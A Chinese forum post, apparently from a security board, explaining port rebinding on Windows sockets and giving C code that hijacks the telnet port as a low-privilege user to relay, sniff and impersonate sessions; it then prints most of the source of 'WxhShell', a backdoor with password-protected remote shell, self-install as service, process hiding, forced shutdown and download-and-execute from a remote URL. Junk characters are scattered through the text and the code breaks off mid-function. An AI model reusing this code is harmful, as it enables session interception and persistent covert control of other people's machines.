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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {Ke IYjE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @}!?}QU  
{v=[~H>bt  
  saddr.sin_family = AF_INET; dnwzf=+>e  
I{U|'a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `RE>gX  
G9QvIXRi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n7Eh!<  
BxlhCu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PHI c7*_  
" a'I^B/  
  这意味着什么?意味着可以进行如下的攻击: N: 38N  
$yj*n;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2 V\hG?<  
>!" Sr3,L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Nv;'Ys P  
:R:@V#Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tK{#kApHGG  
<zvtQ^{]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _4SZ9yu  
hslT49m>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lV 4TFt ,  
r1RM7y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2h*aWBLk  
)T gfd5B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7p':a)  
h@ ZC{B  
  #include O_th/hl  
  #include *)^ ZUk  
  #include d$+0 ;D4E  
  #include    dJ])`S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :PY8)39@K  
  int main() 9 4lt?|3=  
  {  (yd(ZY  
  WORD wVersionRequested; <'sm($.2  
  DWORD ret; %_p]6doF  
  WSADATA wsaData; h]z8.k2n  
  BOOL val; 4[;}/-  
  SOCKADDR_IN saddr; b 1Wz  
  SOCKADDR_IN scaddr; P~:^bU^F7  
  int err; T8&sPt,f  
  SOCKET s; u R5h0Fi  
  SOCKET sc; Xg_l4!T_l  
  int caddsize; iY2q^z/S  
  HANDLE mt; q^wSM  
  DWORD tid;   w;AbJCv2  
  wVersionRequested = MAKEWORD( 2, 2 ); G@jx&#v  
  err = WSAStartup( wVersionRequested, &wsaData ); |HY{Q1%  
  if ( err != 0 ) { 30Qp:_D  
  printf("error!WSAStartup failed!\n"); $qg2@X.  
  return -1; )*uotV  
  } ;WYz U`<g  
  saddr.sin_family = AF_INET; f!5w+6(  
   BU>R<A5h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4o@:+T:1  
P()W\+",n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I D-I<Ev  
  saddr.sin_port = htons(23);  DQV9=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &1 yErGXC  
  { E U RKzJk  
  printf("error!socket failed!\n"); ls9Y?  
  return -1; y<R5}F  
  } :ntAU2)H  
  val = TRUE; #FRm<9/j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B]gyj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \21Gg%W5AE  
  { LqJV  
  printf("error!setsockopt failed!\n"); NhF"%  
  return -1; S-Vxlku]  
  } =c&.I}^1L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FdEUZ[IT`{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !m'Rp~t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XA.1Y)  
DXO'MZon3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?-`&YfF  
  { OQ<;w  
  ret=GetLastError(); ""N~##)8  
  printf("error!bind failed!\n"); 0/7.RpX,.  
  return -1; u` (yT<>H  
  } j%Uoigi  
  listen(s,2); ObreDv^,  
  while(1) e!w2_6?3  
  { Q/j#Pst  
  caddsize = sizeof(scaddr); Wk/Q~ o  
  //接受连接请求 -Ks)1w>l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *u,&?fCl  
  if(sc!=INVALID_SOCKET) I7Abf7>*Q  
  { +tg${3ti_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Rm$(X5x>o  
  if(mt==NULL) >nvK{6xR:  
  { 'T7 3V  
  printf("Thread Creat Failed!\n"); vAeVQ~  
  break; r_tt~|s,>  
  } 4sH?85=j  
  } +eLL)uk  
  CloseHandle(mt); }jWg&<5+z  
  } mC0Dj O  
  closesocket(s); i=P}i8,^ =  
  WSACleanup(); P&tw!B  
  return 0; *a{WJbau]  
  }   /!p}H'jl  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^x^(Rk}|  
  { l)jP!k   
  SOCKET ss = (SOCKET)lpParam; f$dIPt(  
  SOCKET sc; #a tL2(wJ  
  unsigned char buf[4096]; )_o^d>$da  
  SOCKADDR_IN saddr; W.D>$R2  
  long num; @"^7ASd%  
  DWORD val; {KEmGHC4R  
  DWORD ret; H%Lln#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Wy/h"R\=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l4iklg3  
  saddr.sin_family = AF_INET; n8T'}d+mm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q3K}2g  
  saddr.sin_port = htons(23); %hH> %  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Up_"qD6  
  { M&9urOa`  
  printf("error!socket failed!\n"); Au(oKs<  
  return -1; "K+EZ%~<  
  } \&Bdi6xAy  
  val = 100; 9GTp};Kg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AqaMi  
  { d(b~s2\i  
  ret = GetLastError(); U+E9l?4R  
  return -1; _nX8f &  
  } -m ;n}ECg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4)'U!jSb  
  { itc\wn  
  ret = GetLastError(); 0XqxW\8_l  
  return -1; gMPp'^g]_  
  } Y Ztd IG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uAoZ&8D6  
  { uNw9g<g:V[  
  printf("error!socket connect failed!\n"); HRu;*3+%>F  
  closesocket(sc); 0O]v|  
  closesocket(ss); j}(m$j'  
  return -1; "oF)u1_?  
  } G!%8DX5  
  while(1) Ra H1aS(  
  { 6mIK[Qnp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PqF&[M<)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cJTwgm?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P6'Se'f8  
  num = recv(ss,buf,4096,0); qTMY]=(  
  if(num>0) F=#V/ #ia  
  send(sc,buf,num,0); |pq9i)e&  
  else if(num==0) wg\ p&avvb  
  break; H5:f&m  
  num = recv(sc,buf,4096,0); k6o8'6wN  
  if(num>0) ?Drq!?3PDc  
  send(ss,buf,num,0); K" X" 2c1o  
  else if(num==0) M,bs`amz  
  break; 5)hfI7{d  
  } o?a3hD  
  closesocket(ss); "QiLu=Rq  
  closesocket(sc); YB2gxZ  
  return 0 ; %so{'rQl  
  } Qj(ppep\U"  
g+<[1;[-  
u3tT=5.D  
========================================================== U)aftH *Pk  
I:UDEoQo  
下边附上一个代码,,WXhSHELL HTvUt*U1  
h@(+(fVHrp  
========================================================== n}(A4^=4KQ  
)E^4U 9v),  
#include "stdafx.h" E\;%,19Ob  
 ~mi4V  
#include <stdio.h> '!,(G3  
#include <string.h> wQ@:0GJH  
#include <windows.h> uxh>r2Xr=  
#include <winsock2.h> 0\@oqw]6hv  
#include <winsvc.h> ?N!kYTR%}  
#include <urlmon.h> ;_E|I=%'E  
8VO]; +N  
#pragma comment (lib, "Ws2_32.lib") P*VZ$bUe5@  
#pragma comment (lib, "urlmon.lib") zZ<*  
QgQ$>  
#define MAX_USER   100 // 最大客户端连接数 YgS,5::SU  
#define BUF_SOCK   200 // sock buffer <c!gg7@pm  
#define KEY_BUFF   255 // 输入 buffer KNj~7aTp  
*yjnC  
#define REBOOT     0   // 重启 /4+(eI7  
#define SHUTDOWN   1   // 关机 LNHi }P~  
>s0![coz  
#define DEF_PORT   5000 // 监听端口 ~<s =yjTu+  
oDi+\0  
#define REG_LEN     16   // 注册表键长度 3T4HX|rC  
#define SVC_LEN     80   // NT服务名长度 n&?)gKL0g  
tAI v+L  
// 从dll定义API +"=ydF.9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6DgdS5GhT_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oVPr`]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w1aoEo"S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g%!U7CM6h  
fBv: TC%  
// wxhshell配置信息 d)acWF\  
struct WSCFG { \[^! ys  
  int ws_port;         // 监听端口 X;l/D},.  
  char ws_passstr[REG_LEN]; // 口令 kLU-4W5t  
  int ws_autoins;       // 安装标记, 1=yes 0=no woBx609Aak  
  char ws_regname[REG_LEN]; // 注册表键名 ;DR5?N/a  
  char ws_svcname[REG_LEN]; // 服务名 Fkq^2o ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;z N1Qb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +{I" e,Nk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zR]!g|;f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vZ.<OD4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" < *;GJ{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P?P.QK  
d%-/U!z?  
}; #Nco|v  
C"_ Roir?  
// default Wxhshell configuration \hBzP^*"n  
struct WSCFG wscfg={DEF_PORT, c:>&YGmhu  
    "xuhuanlingzhe", *L$_80  
    1, ugE!EEy[^  
    "Wxhshell", ubOXEkZ8N  
    "Wxhshell", [0]A-#J  
            "WxhShell Service", ZILJXX4  
    "Wrsky Windows CmdShell Service", "*F`,I3  
    "Please Input Your Password: ", y1Z>{SDiq  
  1, [w|Klq5  
  "http://www.wrsky.com/wxhshell.exe", _6ck@  
  "Wxhshell.exe" c1jR j=\  
    }; LCtVM70  
_N^w5EBC]  
// 消息定义模块 -C3[:g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6l;2kztGp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )`R}@(r.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %!(C?k!\  
char *msg_ws_ext="\n\rExit."; PM#3N2?|E  
char *msg_ws_end="\n\rQuit."; /WE\0bf  
char *msg_ws_boot="\n\rReboot..."; 6L$KMYHE  
char *msg_ws_poff="\n\rShutdown..."; 4"(rZWv  
char *msg_ws_down="\n\rSave to "; Dd pcov  
O#=%t  
char *msg_ws_err="\n\rErr!"; -eyF9++`  
char *msg_ws_ok="\n\rOK!"; `?3f76}h  
f(~N+2}  
char ExeFile[MAX_PATH]; X~D[CwA|`  
int nUser = 0; 8(L2w|+B<  
HANDLE handles[MAX_USER]; AD?XJ3  
int OsIsNt; M\{\WyeX  
shH2/.>  
SERVICE_STATUS       serviceStatus; K.Y`/<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,1N|lyV   
P~=yTW  
// 函数声明 dgoAaS2M  
int Install(void); OoH-E.lp  
int Uninstall(void); W.jXO"pN  
int DownloadFile(char *sURL, SOCKET wsh); }YFM4 0H  
int Boot(int flag); Mh5> hD  
void HideProc(void); m} s.a.x  
int GetOsVer(void); 5:f!EMb  
int Wxhshell(SOCKET wsl); L6{gwoZf3  
void TalkWithClient(void *cs); f'@ L|&w  
int CmdShell(SOCKET sock); igk<]AwxS  
int StartFromService(void); PE4 L7  
int StartWxhshell(LPSTR lpCmdLine); R )Arr77  
 #O\as~-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $Vq5U9-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d8w3Oz54  
prz COw  
// 数据结构和表定义 ~U"m"zpLP  
SERVICE_TABLE_ENTRY DispatchTable[] = ?dCwo;~  
{ PRaVe,5a  
{wscfg.ws_svcname, NTServiceMain}, d9;&Y?fp  
{NULL, NULL} x0(bM g>7  
}; 2(@2 z[eKr  
A?!RF7v  
// 自我安装 3,{eH6,O7M  
int Install(void) 7KhS{w6  
{ rMbq_5}  
  char svExeFile[MAX_PATH]; DlE,aYB  
  HKEY key; j7kX"nz  
  strcpy(svExeFile,ExeFile); kF~(B]W(  
V@k+RniEO  
// 如果是win9x系统,修改注册表设为自启动 Jl`^`Yv  
if(!OsIsNt) { ckA\{v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iKJqMES  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i:0v6d  
  RegCloseKey(key); {eaR,d~X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2WFZ6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [=q/f2_1.  
  RegCloseKey(key); =N\; ?eF(  
  return 0; j0; ~2W#G*  
    } :1j8!R5  
  } Si?s69  
} `M6"=)twu  
else { >aO.a[AM  
 c2M  
// 如果是NT以上系统,安装为系统服务 o&E8<e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cE 'LE1DK  
if (schSCManager!=0) y2#>a8SRS  
{ $5JeN{B  
  SC_HANDLE schService = CreateService |du%c`wl  
  ( 018SFle  
  schSCManager, BA2"GJvfIA  
  wscfg.ws_svcname, )/;+aDk  
  wscfg.ws_svcdisp, _) x{TnK  
  SERVICE_ALL_ACCESS, fOHbgnL>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &`l\Q\_[@  
  SERVICE_AUTO_START, B&6NjLV  
  SERVICE_ERROR_NORMAL, g&xj(SMj-$  
  svExeFile, @9HRGxJ=}  
  NULL, nwKp8mfP  
  NULL, (6ga*5<  
  NULL, h2Nt@  
  NULL, )4=86>XJT  
  NULL OA&'T*)-A6  
  ); E.Xp\Dm71  
  if (schService!=0) H@ 1'El\9  
  { $kTm"I  
  CloseServiceHandle(schService); x:MwM?  
  CloseServiceHandle(schSCManager); V&nB*U&s"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SZ9Oz-?  
  strcat(svExeFile,wscfg.ws_svcname); :$b` n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *zrGrk:l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X+XDfEt:Q  
  RegCloseKey(key); ]|CcQ1#|H  
  return 0; Yvo*^jv  
    } @Z ==B%`  
  } v}j5G, [-  
  CloseServiceHandle(schSCManager); mufGv%U2  
} &S{r;N5u  
} ,XEIg  
3)EJws!  
return 1; s`bGW1#io  
} 6~%><C  
;m7G8)I  
// 自我卸载 TUnAsE/J&  
int Uninstall(void) iN Oj @3x  
{ w<`0D)mQ  
  HKEY key; I2$DlEke  
{k3ItGQ_  
if(!OsIsNt) { =m2_:&@0x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f X[xZGV,  
  RegDeleteValue(key,wscfg.ws_regname); E,Rj;?  
  RegCloseKey(key); :lB`K>)iB}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d*d:-f~q  
  RegDeleteValue(key,wscfg.ws_regname); 3O2G+G2  
  RegCloseKey(key); /=p[k^A  
  return 0; ] H !ru  
  } !~vK[G(R  
} (uvQ/!  
} }( F:U#  
else { 9Y.(xp &vw  
@\?ub F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hE {";/}J  
if (schSCManager!=0) QGuqV8 y0  
{ ?4R%z([X7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :1*E5pX0n  
  if (schService!=0) }?,?2U,8:  
  { wI|h9q1U  
  if(DeleteService(schService)!=0) { xkDK5&V  
  CloseServiceHandle(schService); \PxT47[@e  
  CloseServiceHandle(schSCManager); N=\ zx^w,  
  return 0; eTp|!T  
  } }"TQ\v$  
  CloseServiceHandle(schService); [ *Dj:A)V^  
  } C~pas~  
  CloseServiceHandle(schSCManager); %cSx`^`6j  
} $@'BB=i  
} X3}eq|r9  
cOV9g)7^O  
return 1; M)oKtiav*  
} 'd$RNqe  
ts,r,{  
// 从指定url下载文件 XZKlE F?  
int DownloadFile(char *sURL, SOCKET wsh) {nwoJ'-V  
{ {jO+N+Ez9  
  HRESULT hr; L6_%SGY_iE  
char seps[]= "/"; r"2lcNE  
char *token; X=#us7W}  
char *file; _ACN  
char myURL[MAX_PATH]; 1jd{AqHl  
char myFILE[MAX_PATH]; VH]}{i"`  
yIKpyyC9H  
strcpy(myURL,sURL); _!o8s%9be  
  token=strtok(myURL,seps); 'w=|uE {^  
  while(token!=NULL) !0@4*>n  
  { o9e8Oj&  
    file=token; )K{s^]Jp  
  token=strtok(NULL,seps); )9`HO?   
  } Hnt*,C.0  
jXeE]A"  
GetCurrentDirectory(MAX_PATH,myFILE); T>asH  
strcat(myFILE, "\\"); .1[.f}g$J  
strcat(myFILE, file); '{2]:  
  send(wsh,myFILE,strlen(myFILE),0); S#M8}+ZD,  
send(wsh,"...",3,0); ,)[9RgsE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g}0K@z3  
  if(hr==S_OK) U&#` <R_0  
return 0; VP A+/5TW  
else 9\.0v{&v  
return 1; eI:[o  
? #rXc%F  
} ,7j8+p|},  
G~5pMyOR  
// 系统电源模块 |2l-s 1|y  
int Boot(int flag) -0CBMoe  
{ INr1bAe$  
  HANDLE hToken; teS>t!d  
  TOKEN_PRIVILEGES tkp; fc3nQp7  
ym{@w3"S  
  if(OsIsNt) { 5Qq/nUR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {C 5:as  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eP]y\S*P  
    tkp.PrivilegeCount = 1; 7.Y;nem:(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HZAT_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'l^Bb#)"  
if(flag==REBOOT) { vm|u~Yd,s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +H3~Infr4f  
  return 0; QWOPCoUet  
} A:(|"<lA  
else { Vbv^@Kp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 89:nF#  
  return 0; cIwX sx  
} w317]-n  
  } rQ* w3F?:  
  else { iXm&\.%  
if(flag==REBOOT) { &b#d4p6&l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U6/7EOW,  
  return 0; Jt5V{9:('  
} <=n;5hv:  
else { bpBn3f`?*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z(6.e8fK  
  return 0;  PFX,X  
} oUnb-,8n  
} 9$$  Ijf  
F)cCaE;  
return 1; Hy3J2p9.  
} ^rJTlh 9  
&pzL}/u  
// win9x进程隐藏模块 )L9eLxI  
void HideProc(void) Trs~KcsD  
{ E'\gd7t ;  
t[q2 W"#.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )(G<(eiD  
  if ( hKernel != NULL ) xH2'PEjFM  
  { W]eILCo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l!:bNMd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #k9&OS?  
    FreeLibrary(hKernel); [ ojL9.6  
  } c(=>5  
&$|~",  
return; >;Hx<FKxP  
} (X@\2M4@T#  
legWY)4D;  
// 获取操作系统版本 b~&cYk'  
int GetOsVer(void) .fzyA5@l  
{ 7Y@]o=DIc  
  OSVERSIONINFO winfo; FL\pgbI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^rfR<Q`  
  GetVersionEx(&winfo); UUfM 7gq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1SjVj9{:  
  return 1; q,ie)`  
  else <2]h$53y!  
  return 0; CCG 5:xS  
} fh`Y2s|:7R  
Mk#r_:[BS  
// 客户端句柄模块 Mi.2 >  
int Wxhshell(SOCKET wsl) I?D=Q $s  
{  ="]r{  
  SOCKET wsh; Vw w 211  
  struct sockaddr_in client; Q(<A Yu  
  DWORD myID; \9,lMK[b  
OulRqbL2  
  while(nUser<MAX_USER) 2T*kmDp  
{ "*#f^/LS  
  int nSize=sizeof(client); --y,ky#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pa{DB?P  
  if(wsh==INVALID_SOCKET) return 1; LIG@`  
4-[U[JJc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5P <"I["  
if(handles[nUser]==0) &]a(5  
  closesocket(wsh); 8US35t:M  
else ?&0CEfa?  
  nUser++; FMCA~N  
  } W2XWb<QSEV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :a Cf@:']  
9K}DmS  
  return 0; 'E#L6,&  
} H 2I  
!KXcg9e  
// 关闭 socket kq=Htbv7  
void CloseIt(SOCKET wsh) t'Yd+FK   
{ H$ nzyooh  
closesocket(wsh); N_:!uR  
nUser--; Lfx a^0  
ExitThread(0); e6'0g=Y#   
} e;=R8i  
l1zPL3"u_^  
// 客户端请求句柄 z}J~X%}e  
void TalkWithClient(void *cs) !Yo2P"  
{ _K?v^oM#  
-ioO8D&!  
  SOCKET wsh=(SOCKET)cs; JUw|nUnl?  
  char pwd[SVC_LEN]; 0*]0#2Z  
  char cmd[KEY_BUFF]; prO&"t >  
char chr[1]; )Mq4p'*A[  
int i,j; LT{g^g  
X_-/j.  
  while (nUser < MAX_USER) { IrRy1][Qr  
T#rUbi>""  
if(wscfg.ws_passstr) { &O+S [~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |b@`ykD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tPiC?=4R  
  //ZeroMemory(pwd,KEY_BUFF); v89tV9O)  
      i=0; " xC$Ko _  
  while(i<SVC_LEN) { 3U?gw!M>  
W!el[@  
  // 设置超时 G :+D1J]  
  fd_set FdRead; % }b  
  struct timeval TimeOut; w@WtW8 p^  
  FD_ZERO(&FdRead); w`boQ_Ir  
  FD_SET(wsh,&FdRead); Y_$!XIJ4  
  TimeOut.tv_sec=8; lz0dt<8eP  
  TimeOut.tv_usec=0; 8B6(SQp%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _Iy)p{y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oSYJXs  
]p(es,[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CA|W4f}  
  pwd=chr[0]; /!&eP3^  
  if(chr[0]==0xd || chr[0]==0xa) { G@rh/b<$  
  pwd=0; [D|Uwq  
  break; 3J4OkwqD  
  } uAYDX<Ja9  
  i++; 0 Q>  
    } FFwu$S6e  
:p<:0W2!  
  // 如果是非法用户,关闭 socket BpFX e7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @pvQci  
} y1Br4K5C  
kazgI>"Q8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3NwdE/x\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q=cnY+p>  
toG- Dz&  
while(1) { j5hQ;~Fa|  
IwXQbJ3v_  
  ZeroMemory(cmd,KEY_BUFF); )q!dMZ(  
r^s$U,e#~  
      // 自动支持客户端 telnet标准   4nd)*0{ f  
  j=0; )MN6\v  
  while(j<KEY_BUFF) { ~E DO< O>3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `aMnTF5:  
  cmd[j]=chr[0]; 9@ h-q(-  
  if(chr[0]==0xa || chr[0]==0xd) { FzsW^u+  
  cmd[j]=0; h/aG."U  
  break; G^P9_Sw]d3  
  } q2Gm8>F1y.  
  j++; Jk<b#SZ[b  
    } o9D#d\G  
kU)E-h  
  // 下载文件 #)DDQ?D  
  if(strstr(cmd,"http://")) { A9HgABhax  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0}_1 ZU  
  if(DownloadFile(cmd,wsh)) eZpi+BRS6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0*OK]`9  
  else 1- GtZ2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l>Zp#+I-  
  } @MH/e fW.  
  else { XX1Iw {o9:  
;M#D*<ucI:  
    switch(cmd[0]) { noWwX  
  gU@.IOg  
  // 帮助 ~:="o/wo  
  case '?': { >tkU+$;-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a,t]>z95  
    break; t(^Lh.<a  
  } {y!77>Q/  
  // 安装 rj eKG-Z@  
  case 'i': { .GDY J9vi  
    if(Install()) DQ6pe)E|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :=`N2D  
    else =5p?4/4 J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hG/Z65`&  
    break; |msQ  
    } dBL{Mbh2Z  
  // 卸载 o[G,~f\-  
  case 'r': { P-N+  
    if(Uninstall()) IrP6Rxh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 44hz,  
    else Z+;670Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V,3$>4x  
    break; 1B`0.M'd  
    } HX:^:pF}  
  // 显示 wxhshell 所在路径 X% M*d%n b  
  case 'p': { `yb,z   
    char svExeFile[MAX_PATH]; =Rf!i78c5  
    strcpy(svExeFile,"\n\r"); g5~1uU$O  
      strcat(svExeFile,ExeFile); ")qO#b4  
        send(wsh,svExeFile,strlen(svExeFile),0); J$Ba*`~!!  
    break; 4[LzjC  
    } /#4BUfY f  
  // 重启 A.S:eQvS%  
  case 'b': { %$(*.o!+8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }15ooe%  
    if(Boot(REBOOT)) 0'y3iar  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gl6*bB=  
    else { Y4/ !b  
    closesocket(wsh); ?37Kc,o  
    ExitThread(0); <+7-^o _  
    } !7kca#,X  
    break; DO=zxdTI!  
    } qg-?Z,EB  
  // 关机 WXE{uGc  
  case 'd': { DvXbbhp  
